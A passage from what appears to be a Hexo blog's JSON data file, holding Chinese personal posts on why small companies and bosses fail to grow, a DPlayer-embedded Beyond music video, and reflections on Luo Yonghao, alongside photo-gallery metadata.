psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h3 id=\"这七种公司永远做不大\"><a href=\"#这七种公司永远做不大\" class=\"headerlink\" title=\"这七种公司永远做不大\"></a>这七种公司永远做不大</h3><h4 id=\"1-格局小的企业\"><a href=\"#1-格局小的企业\" class=\"headerlink\" title=\"1. 格局小的企业\"></a>1. 格局小的企业</h4><ul>\n<li>1999年2月，牛根生对孙先红说：我给你100万的宣传费，对谁也不要说。先红问：为什么不能说？牛说：现在总共筹到300万，拿出100万做广告，我怕大家知道后接受不了。我就要一个效果：一夜之间，让呼市人都知道。于是1999年4月1日早上，一觉醒来，人们突然发现道路两旁冒出了一溜溜的红色路牌广告，上面高书金色大字：蒙牛乳业，创内蒙古乳业第二品牌！</li>\n<li>但在现实中，许多老板肩上扛着品牌大旗心里打着小算盘，乐于小打小闹，希望以小的投入来获得大的回报，从没想过以大的投入来换取更大的回报。这实际上就是一种格局。格局小的老板，想的永远是自己，希望从一颗鸡蛋中吃出黄金；而格局大的老板，则能着眼于未来，在大环境中定义自己的事业。</li>\n</ul>\n<h4 id=\"2-心态小的企业\"><a href=\"#2-心态小的企业\" class=\"headerlink\" title=\"2. 心态小的企业\"></a>2. 心态小的企业</h4><blockquote>\n<p>俗话说：善奕者谋势，不善奕者谋子</p>\n<ul>\n<li>许多企业之所以做不大，就在于只谋子不谋势。谋势就是定战略，有了战略，路再长，总有一天会走到；没有战略，走得越猛，死得越早。置战略需求于不顾，希望用1分钱换来100元的效果的主，很难走出穷的境界，因为占便宜本身就代表没有境界。死抠一城一池，是活三年的企业，因为它不抬头看天。东一榔头西一棒子的，是活三月的企业，因为它不低头看地。不看天，山雨欲来浑然不觉，要被洪水淹死；不看地，夜半悬崖大步流星，要被群山淹没。</li>\n</ul>\n</blockquote>\n<h4 id=\"3-短视的企业\"><a href=\"#3-短视的企业\" class=\"headerlink\" title=\"3. 短视的企业\"></a>3. 短视的企业</h4><ul>\n<li>立竿见影、刀下见菜，是大多数老板的想法，当然这也没有错，因为解决目前的生存问题是第一位的。但是，生存问题属于战术问题，而发展问题属于战略问题，解决生存问题必须刀下见菜，但要搞定发展问题则需要细水长流最后水到渠成。现实中，很多老板都有短视心态，以为整一个亮点马上就能换回巨大的效益，于是一个活动搞下去或一期广告投下去看到没什么效果就马上停止。</li>\n<li>其实这种想法并不正确，因为品牌对于企业而言是一个长期工程和系统工程，既要有独特的个性，又需要系统的提炼及提升；对于客户而言，品牌又是一种认知识别和体验识别，他们需要你能记住你的特别理由，因此也就需要你在诉求点上要坚持深入。</li>\n</ul>\n<h4 id=\"4-缺外脑的企业\"><a href=\"#4-缺外脑的企业\" class=\"headerlink\" title=\"4. 缺外脑的企业\"></a>4. 缺外脑的企业</h4><ul>\n<li>曾有人说过这样一句话：在中国，资源第一位，机遇第二位，能力第三位，学历第四位，不少老板比别人做得成功，就在于他所拥有的社会资源为他创造了部分条件。而很多老板之所以做不大，原因就在于他缺少足够的社会资源，单打独斗当然也就孤掌难鸣。</li>\n<li>说到社会资源，很多人都会想到领导支持这个词语，其实这并不全面，向领导、职能部门传递企业的正面信息，获得政策范围内的支持，这只属于整合营销传播的一个方面。除了官方资源以外，能帮你快速解决一定融资困难的亲友资源，能为你迅速带来人才的人力推介资源，能为你出谋划策充当参谋的智力资源、信息资源等等，这些资源都会对你的发展壮大起着重要的作用。这些都是企业的外脑。想想看，那些做得成功的大企业，又有多少企业没有外脑、没有顾问呢？</li>\n</ul>\n<h4 id=\"5-缺内脑的企业\"><a href=\"#5-缺内脑的企业\" class=\"headerlink\" title=\"5. 缺内脑的企业\"></a>5. 缺内脑的企业</h4><ul>\n<li>一个好汉三个帮，如果没有一批能征善战的下属为你冲锋陷阵，老板再厉害，也难以成事。许多企业就面临这样的问题：优秀的人招不来，有出息的人留不住，剩下的看谁谁不顺眼，为什么会这样呢？员工愿不愿加盟公司、能加盟多久，与薪酬福利、团队氛围、学习提升、办事机制，成就感，归属感、生活现状等各种因素紧密相连。目前，大多数的企业，薪酬福利都差不多，关键问题是：老板只看重行政管理与业绩，只关注你今天卖了多少、有没有迟到早退，至于思想管理、技能管理、状态管理与团队氛围管理，老板根本就没有这个意识，最后员工技能得不到提升，思想得不到引导，越干越没劲，只好走人了事。管理的表面化，最终导致员工素质同质化，做不大也就在情理之中了。</li>\n</ul>\n<h4 id=\"6-用金扁担挑粪的企业\"><a href=\"#6-用金扁担挑粪的企业\" class=\"headerlink\" title=\"6. 用金扁担挑粪的企业\"></a>6. 用金扁担挑粪的企业</h4><ul>\n<li>从前有个小伙子，祖辈都是菜农。小伙子每天挑粪去菜地浇菜，从小习惯了这年复一年的活。一天，他去菜地的路上在一棵大树下歇脚，坐在挑粪扁担上，远眺村里大财主的那幢豪华楼房，心里突然有个梦想﹕有一天我要是像他那么有钱，我一定要打一副用金子做成的扁担挑粪。用金扁担挑粪虽然有了财富有了金子，但是挑粪的思维还是没有改变，因为他已经习惯了那种操作手法。所以，很多企业看到别人有了驰名商标就马上去申请一个驰名商标，看到别人开了一个自助火锅生意不错，于是就立马也开一个。有了这些金蛋蛋以后，马上把它做成一根金扁担挑着以前的大便继续前进。</li>\n</ul>\n<h4 id=\"7-需要预约的企业\"><a href=\"#7-需要预约的企业\" class=\"headerlink\" title=\"7. 需要预约的企业\"></a>7. 需要预约的企业</h4><ul>\n<li>中国的小老板令人感动和尊敬，在我看来，哪怕是开小饭馆的小老板，也功德无量，令人尊敬，因为他们为社会提供了更多的就业岗位，贡献了更多的税收，开发了更多的技术。他们多数才华横溢、精明能干、出身草根、白手起家，其赤手空拳打天下的勇气让人佩服。</li>\n<li>他们在资金与技术贫瘠的土壤中扎根，在不利政策环境中破土，在外资、合资品牌丛林中成长，生命的顽强与坚韧让人感慨与惊叹。他们热情而富有理想，为了实现百年老店的梦想，很多人起得比鸡还要早，睡得比狗还要晚。企业最大的瓶颈是资金！然而，在你没有实力之前要想获得金融支持，干过企业的人都深有体会，最缺德的机构莫过于银行，他们向来都是雨天收伞！在尊敬与感动之余，又难免有点儿心酸与不安。因为很多小老板都患上了这样的毛病：事业不大架子大、老板不大脾气大，自以为是，傲气十足，结果很多的机会就在这种需要预约的情况下丧失了。</li>\n</ul>\n<h3 id=\"十种做不大的老板\"><a href=\"#十种做不大的老板\" class=\"headerlink\" title=\"十种做不大的老板\"></a>十种做不大的老板</h3><blockquote>\n<p>据一些管理学家的最新研究，发现有十种老板，由于各方面的制约，是很难将生意做大的。</p>\n</blockquote>\n<h4 id=\"没有大梦想的老板\"><a href=\"#没有大梦想的老板\" class=\"headerlink\" title=\"没有大梦想的老板\"></a>没有大梦想的老板</h4><ul>\n<li>不想做出大成就的老板，安于现状，对竞争没有充分的认识，对机会不敏感。商界往往是大野心的老板做成了大公司，安于现状的老板最后不得不因业绩不良而关门或换行。</li>\n</ul>\n<h4 id=\"没有创业规划的老板\"><a href=\"#没有创业规划的老板\" class=\"headerlink\" title=\"没有创业规划的老板\"></a>没有创业规划的老板</h4><ul>\n<li>这种老板不善于对自己的事业做中长期规划，往往在经营中浪费很多的资源，或者让人才流失，或者让资源闲置，所以他们的经营成本很高。</li>\n</ul>\n<h4 id=\"不重视人才的老板\"><a href=\"#不重视人才的老板\" class=\"headerlink\" title=\"不重视人才的老板\"></a>不重视人才的老板</h4><ul>\n<li>对任何公司而言，人才比资金比资产都重要，有了人才才可以做想做的事，没有人才一切免谈。老板最能干的公司往往都做不大，老板不太能干的公司，往往能做得很大。刘邦和项羽就是最好的例子，刘邦不能干，所以他重用萧、韩、张三杰，项羽很能干，所以手下能人都留不住，都跑到刘邦那去了。</li>\n</ul>\n<h4 id=\"完全自己摸索，从不向明师请教的老板\"><a href=\"#完全自己摸索，从不向明师请教的老板\" class=\"headerlink\" title=\"完全自己摸索，从不向明师请教的老板\"></a>完全自己摸索，从不向明师请教的老板</h4><ul>\n<li>完全自己摸索的老板，在经营中就会要用很多的失败做代价，走了很多的弯路。从而造成要么信心不足，要么资源被浪费后没有创业资金，要么就是视野很小，看不到机会和危机。善于向明师请教的人，总可以少走一些弯路。因为他站在别人的肩膀上，所以能看得更远！</li>\n</ul>\n<h4 id=\"观念保守思维不开放的老板\"><a href=\"#观念保守思维不开放的老板\" class=\"headerlink\" title=\"观念保守思维不开放的老板\"></a>观念保守思维不开放的老板</h4><ul>\n<li>看看中国发展的轨迹，越是开放的地方，越是发展得快，越是观念落后的地方，越是贫穷。思维不开放的老板，总是自己拒绝了很多的发展机会！</li>\n</ul>\n<h4 id=\"恃己之能从不学习的老板\"><a href=\"#恃己之能从不学习的老板\" class=\"headerlink\" title=\"恃己之能从不学习的老板\"></a>恃己之能从不学习的老板</h4><ul>\n<li>经常参加各种培训的老板，都是一些取得成就的老板；从不参加培训的老板，肯定公司业绩不良。为什么？不学习观念就要落后，思维就要保守。</li>\n</ul>\n<h4 id=\"畏首畏尾顾虑太多的老板\"><a href=\"#畏首畏尾顾虑太多的老板\" class=\"headerlink\" title=\"畏首畏尾顾虑太多的老板\"></a>畏首畏尾顾虑太多的老板</h4><ul>\n<li>风险与机会是均等的，从不敢冒险的老板，肯定是要失去很多机会的。世界上的两大公司，都是在风险的浪尖上走过来的。果敢的企业家总是这样想“万一我不做万一我不投资丧失了机会怎么办”，他们想的是“万一成功了”；有些老板总是这样想“万一我做了万一我投资了失败了怎么办”，他们想的是“万一失败了”，所以不做就没有失败，但更没有机会成功！</li>\n</ul>\n<h4 id=\"心思太细专做小事的老板\"><a href=\"#心思太细专做小事的老板\" class=\"headerlink\" title=\"心思太细专做小事的老板\"></a>心思太细专做小事的老板</h4><ul>\n<li>把时间都花在小事上的老板，根本就没有时间来考虑公司发展的大事。有些老板，充其量只是自己的业务员，因为他的主要精力都用在跑业务上；有些老板是救火队员，哪里有问题就上哪里，却从不考虑如何才能不出问题。这些老板都很累，业绩却不良；反过来看，那些只专注于公司发展大事的老板，把小事放心地交给员工做，员工既有了用武之地，就会长期留下来，老板自己反而很轻松。</li>\n</ul>\n<h4 id=\"埋头经营从不做宣传的老板\"><a href=\"#埋头经营从不做宣传的老板\" class=\"headerlink\" title=\"埋头经营从不做宣传的老板\"></a>埋头经营从不做宣传的老板</h4><ul>\n<li>营销就是做广告，越是多做广告越是会做宣传的老板，公司就会发展得快，业务就会做得多，连少林寺都要用宣传来推广自己，否则它哪有那么多的香客和门徒？埋头经营的老板还在满足自己的客户量还可以的时候，却不知已经有人做宣传占领了更大的市场份额！</li>\n</ul>\n<h4 id=\"贪图小利不讲诚信的老板\"><a href=\"#贪图小利不讲诚信的老板\" class=\"headerlink\" title=\"贪图小利不讲诚信的老板\"></a>贪图小利不讲诚信的老板</h4><ul>\n<li>讲诚信是需要付出代价的，往往代价很高；但往往也因此带来了自己长期发展的各种机会；不讲诚信，看似代价很低，暂时占了很多便宜，却不知付出的代价更高，丧失了更多的发展机会。做了很多年还没有发展起来的老板，肯定遵守诚信不够！</li>\n</ul>\n<h3 id=\"总结\"><a href=\"#总结\" class=\"headerlink\" title=\"总结\"></a>总结</h3><ul>\n<li><p>从上来看，我需要提升的地方还有很多很多，从心态到气场，从执行的态度，到为人处世的方法，学无止境，提高自己的格局，改变自己的视野，不要被眼前的枷锁所束缚，世界很大，我还有很多地方没有去走，牛人很多，我还有很多品质需要研究</p>\n</li>\n<li><p>改变自己，不甘平庸，相信明天！！！</p>\n</li>\n</ul>\n"},{"title":"光辉岁月-间奏","date":"2016-11-20T02:30:36.000Z","_content":"\n{% dplayer \n    \"url=http://orjedzer5.bkt.clouddn.com/%E5%85%89%E8%BE%89%E5%B2%81%E6%9C%88%EF%BC%88%E9%97%B4%E5%A5%8F%EF%BC%89.mp4\" \n    \"api=http://dplayer.daoapp.io\"  \n    \"id=2\" \n    \"loop=yes\" \n    \"theme=#fff\" \n    \"autoplay=true\" \n    \"token=tokendemo\" \n%}","source":"_posts/光辉岁月-间奏.md","raw":"---\ntitle: 光辉岁月-间奏\ndate: 2016-11-20 10:30:36\ntags: [beyond, rock]\ncategories: 音乐\n---\n\n{% dplayer \n    \"url=http://orjedzer5.bkt.clouddn.com/%E5%85%89%E8%BE%89%E5%B2%81%E6%9C%88%EF%BC%88%E9%97%B4%E5%A5%8F%EF%BC%89.mp4\" \n    \"api=http://dplayer.daoapp.io\"  \n    \"id=2\" \n    \"loop=yes\" \n    \"theme=#fff\" \n    \"autoplay=true\" \n    \"token=tokendemo\" \n%}","slug":"光辉岁月-间奏","published":1,"updated":"2018-01-22T06:33:40.003Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y67002zvzqhkdpo52ep","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><div id=\"dplayer2\" class=\"dplayer hexo-tag-dplayer-mark\" style=\"margin-bottom: 20px;\"></div><script>(function(){var player = new DPlayer({\"container\":document.getElementById(\"dplayer2\"),\"autoplay\":true,\"theme\":\"#fff\",\"loop\":true,\"video\":{\"url\":\"http://orjedzer5.bkt.clouddn.com/%E5%85%89%E8%BE%89%E5%B2%81%E6%9C%88%EF%BC%88%E9%97%B4%E5%A5%8F%EF%BC%89.mp4\"},\"danmaku\":{\"id\":\"2\",\"api\":\"http://dplayer.daoapp.io\",\"token\":\"tokendemo\"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script>","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<div id=\"dplayer2\" class=\"dplayer hexo-tag-dplayer-mark\" style=\"margin-bottom: 20px;\"></div><script>(function(){var player = new DPlayer({\"container\":document.getElementById(\"dplayer2\"),\"autoplay\":true,\"theme\":\"#fff\",\"loop\":true,\"video\":{\"url\":\"http://orjedzer5.bkt.clouddn.com/%E5%85%89%E8%BE%89%E5%B2%81%E6%9C%88%EF%BC%88%E9%97%B4%E5%A5%8F%EF%BC%89.mp4\"},\"danmaku\":{\"id\":\"2\",\"api\":\"http://dplayer.daoapp.io\",\"token\":\"tokendemo\"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script>"},{"title":"关于罗永浩","date":"2017-07-23T05:28:07.000Z","_content":"\n### 理念\n* 当一个可以改变时代的人出现，他阐述出了他的观点，很多人都会觉得他是神经病，这个时候就需要坚持自己的想法，能够影响别人，乃至影响世界，给自己一个充实幸福感\n\n### 理财 \n* 罗永浩曾经不会理财，月光族，公司有一个设计师和他一样。我也一样。这样的人都有一个共同点，就是觉得自己以后能赚大钱。\n\n### 社交\n* 罗有轻微的社交恐惧症，有一部分是内向，当在场的人超过一半会比较外向，现在的时代，是外向的人占便宜，当时因为罗不喜欢社交，没有去维持商业圈，导致能解决的问题停滞了一年吧半。\n* 所以不要内向，改变自己，当你在一个场合出入次数多了，性格开朗了，你就会改变\n\n### 追求完美\n* 罗非常追求完美和细节，这点和他崇拜乔布斯有关，我是个极简主义者，\n\n### 性格\n* 老罗脾气不好，但是直爽，有很强的执行力，想做即做，在他看来，如果一个事前不是需要先天的能力作为基石，那这件事我们如果有信心去做，就一定能够成功\n\n### 总结\n* 我和老罗差在，有很多事前畏手畏脚，不敢去做，就和他曾经的从商恐惧感一样，其实真正去做了，很多问题也会在实践中得到解决。\n* 极端的讲，如果你提出一个跨时代的想法，而你身边的人说你疯了，那可能我们其中有一个就是笨蛋","source":"_posts/关于罗永浩.md","raw":"---\ntitle: 关于罗永浩\ndate: 2017-07-23 13:28:07\ntags: [哲理]\ncategories: 生活\n---\n\n### 理念\n* 当一个可以改变时代的人出现，他阐述出了他的观点，很多人都会觉得他是神经病，这个时候就需要坚持自己的想法，能够影响别人，乃至影响世界，给自己一个充实幸福感\n\n### 理财 \n* 罗永浩曾经不会理财，月光族，公司有一个设计师和他一样。我也一样。这样的人都有一个共同点，就是觉得自己以后能赚大钱。\n\n### 社交\n* 罗有轻微的社交恐惧症，有一部分是内向，当在场的人超过一半会比较外向，现在的时代，是外向的人占便宜，当时因为罗不喜欢社交，没有去维持商业圈，导致能解决的问题停滞了一年吧半。\n* 所以不要内向，改变自己，当你在一个场合出入次数多了，性格开朗了，你就会改变\n\n### 追求完美\n* 罗非常追求完美和细节，这点和他崇拜乔布斯有关，我是个极简主义者，\n\n### 性格\n* 老罗脾气不好，但是直爽，有很强的执行力，想做即做，在他看来，如果一个事前不是需要先天的能力作为基石，那这件事我们如果有信心去做，就一定能够成功\n\n### 总结\n* 我和老罗差在，有很多事前畏手畏脚，不敢去做，就和他曾经的从商恐惧感一样，其实真正去做了，很多问题也会在实践中得到解决。\n* 极端的讲，如果你提出一个跨时代的想法，而你身边的人说你疯了，那可能我们其中有一个就是笨蛋","slug":"关于罗永浩","published":1,"updated":"2018-01-22T06:34:26.403Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y690033vzqhjlas2gue","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h3 id=\"理念\"><a href=\"#理念\" class=\"headerlink\" title=\"理念\"></a>理念</h3><ul>\n<li>当一个可以改变时代的人出现，他阐述出了他的观点，很多人都会觉得他是神经病，这个时候就需要坚持自己的想法，能够影响别人，乃至影响世界，给自己一个充实幸福感</li>\n</ul>\n<h3 id=\"理财\"><a href=\"#理财\" class=\"headerlink\" title=\"理财\"></a>理财</h3><ul>\n<li>罗永浩曾经不会理财，月光族，公司有一个设计师和他一样。我也一样。这样的人都有一个共同点，就是觉得自己以后能赚大钱。</li>\n</ul>\n<h3 id=\"社交\"><a href=\"#社交\" class=\"headerlink\" title=\"社交\"></a>社交</h3><ul>\n<li>罗有轻微的社交恐惧症，有一部分是内向，当在场的人超过一半会比较外向，现在的时代，是外向的人占便宜，当时因为罗不喜欢社交，没有去维持商业圈，导致能解决的问题停滞了一年吧半。</li>\n<li>所以不要内向，改变自己，当你在一个场合出入次数多了，性格开朗了，你就会改变</li>\n</ul>\n<h3 id=\"追求完美\"><a href=\"#追求完美\" class=\"headerlink\" title=\"追求完美\"></a>追求完美</h3><ul>\n<li>罗非常追求完美和细节，这点和他崇拜乔布斯有关，我是个极简主义者，</li>\n</ul>\n<h3 id=\"性格\"><a href=\"#性格\" class=\"headerlink\" title=\"性格\"></a>性格</h3><ul>\n<li>老罗脾气不好，但是直爽，有很强的执行力，想做即做，在他看来，如果一个事前不是需要先天的能力作为基石，那这件事我们如果有信心去做，就一定能够成功</li>\n</ul>\n<h3 id=\"总结\"><a href=\"#总结\" class=\"headerlink\" title=\"总结\"></a>总结</h3><ul>\n<li>我和老罗差在，有很多事前畏手畏脚，不敢去做，就和他曾经的从商恐惧感一样，其实真正去做了，很多问题也会在实践中得到解决。</li>\n<li>极端的讲，如果你提出一个跨时代的想法，而你身边的人说你疯了，那可能我们其中有一个就是笨蛋</li>\n</ul>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/20